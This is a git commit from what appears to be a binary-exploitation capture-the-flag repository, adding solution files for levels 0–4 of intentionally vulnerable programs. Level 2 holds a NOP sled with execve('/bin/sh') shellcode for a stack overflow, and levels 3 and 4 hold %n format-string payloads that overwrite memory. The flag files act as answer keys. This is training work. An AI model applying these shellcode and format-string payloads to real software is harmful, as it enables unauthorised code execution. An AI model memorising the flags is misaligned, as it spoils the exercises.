commit abd6d9ac50945ee4dd9e3394a22e59ea0d0771f0 Author: gbrochar Date: Thu Mar 13 19:42:35 2025 +0100 feat: level0, level1, level2, level3 and level4 diff --git a/level0/Ressources/level0 b/level0/Ressources/level0 new file mode 100755 index 0000000..53a8f72 Binary files /dev/null and b/level0/Ressources/level0 differ diff --git a/level0/flag b/level0/flag new file mode 100644 index 0000000..cf8ddd0 --- /dev/null +++ b/level0/flag @@ -0,0 +1 @@ +1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a diff --git a/level1/Ressources/exploit.txt b/level1/Ressources/exploit.txt new file mode 100644 index 0000000..007843c --- /dev/null +++ b/level1/Ressources/exploit.txt @@ -0,0 +1 @@ +D diff --git a/level1/Ressources/level1 b/level1/Ressources/level1 new file mode 100755 index 0000000..9530361 Binary files /dev/null and b/level1/Ressources/level1 differ diff --git a/level1/flag b/level1/flag new file mode 100644 index 0000000..93d2259 --- /dev/null +++ b/level1/flag @@ -0,0 +1 @@ +53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77 diff --git a/level2/Ressources/bash_command b/level2/Ressources/bash_command new file mode 100755 index 0000000..4c377d8 --- /dev/null +++ b/level2/Ressources/bash_command @@ -0,0 +1,2 @@ +#!/bin/sh +rm -f exploit3.txt && python -c "print('\x90'*34+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x00\xf7\xff\xbf')" > exploit3.txt diff --git a/level2/Ressources/buffer b/level2/Ressources/buffer new file mode 100644 index 0000000..e594425 --- /dev/null +++ b/level2/Ressources/buffer @@ -0,0 +1 @@ +0xbffff6db diff --git a/level2/Ressources/buffer_address b/level2/Ressources/buffer_address new file mode 100644 index 0000000..81af063 --- /dev/null +++ b/level2/Ressources/buffer_address @@ -0,0 +1 @@ +0x804a008 diff --git a/level2/Ressources/level2 b/level2/Ressources/level2 new file mode 100755 index 0000000..984ce1d Binary files /dev/null and b/level2/Ressources/level2 differ diff --git a/level2/Ressources/search_bounds b/level2/Ressources/search_bounds new file mode 100644 index 0000000..0a86d5f --- /dev/null +++ b/level2/Ressources/search_bounds @@ -0,0 +1 @@ +find 0x8048000, 0x8067403 diff --git a/level2/flag b/level2/flag new file mode 100644 index 0000000..fb53e0e --- /dev/null +++ b/level2/flag @@ -0,0 +1 @@ +492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02 diff --git a/level3/Ressources/bash_command.sh b/level3/Ressources/bash_command.sh new file mode 100755 index 0000000..02c3c87 --- /dev/null +++ b/level3/Ressources/bash_command.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo `python -c "print('\x8c\x98\x04\x08'+'A'*41+'%x'*3+'%n')"` > exploit.txt diff --git a/level3/Ressources/level3 b/level3/Ressources/level3 new file mode 100755 index 0000000..a0ae55c Binary files /dev/null and b/level3/Ressources/level3 differ diff --git a/level3/flag b/level3/flag new file mode 100644 index 0000000..47dd769 --- /dev/null +++ b/level3/flag @@ -0,0 +1 @@ +b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa diff --git a/level4/Ressources/bash_command.sh b/level4/Ressources/bash_command.sh new file mode 100755 index 0000000..07e1257 --- /dev/null +++ b/level4/Ressources/bash_command.sh @@ -0,0 +1,2 @@ +#!/bin/sh +rm -f exploit9.txt && echo `python -c "print('\x10\x98\x04\x08'+'%.16930052x'+'%x'*10+'%n')"` > exploit9.txt && cat exploit9.txt - | ./level4 diff --git a/level4/Ressources/level4 b/level4/Ressources/level4 new file mode 100755 index 0000000..58fbf86 Binary files /dev/null and b/level4/Ressources/level4 differ diff --git a/level4/flag b/level4/flag new file mode 100644 index 0000000..09615b8 --- /dev/null +++ b/level4/flag @@ -0,0 +1 @@ +0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a diff --git a/level5/Ressources/level5 b/level5/Ressources/level5 new file mode 100755 index 0000000..aacfadc Binary files /dev/null and b/level5/Ressources/level5 differ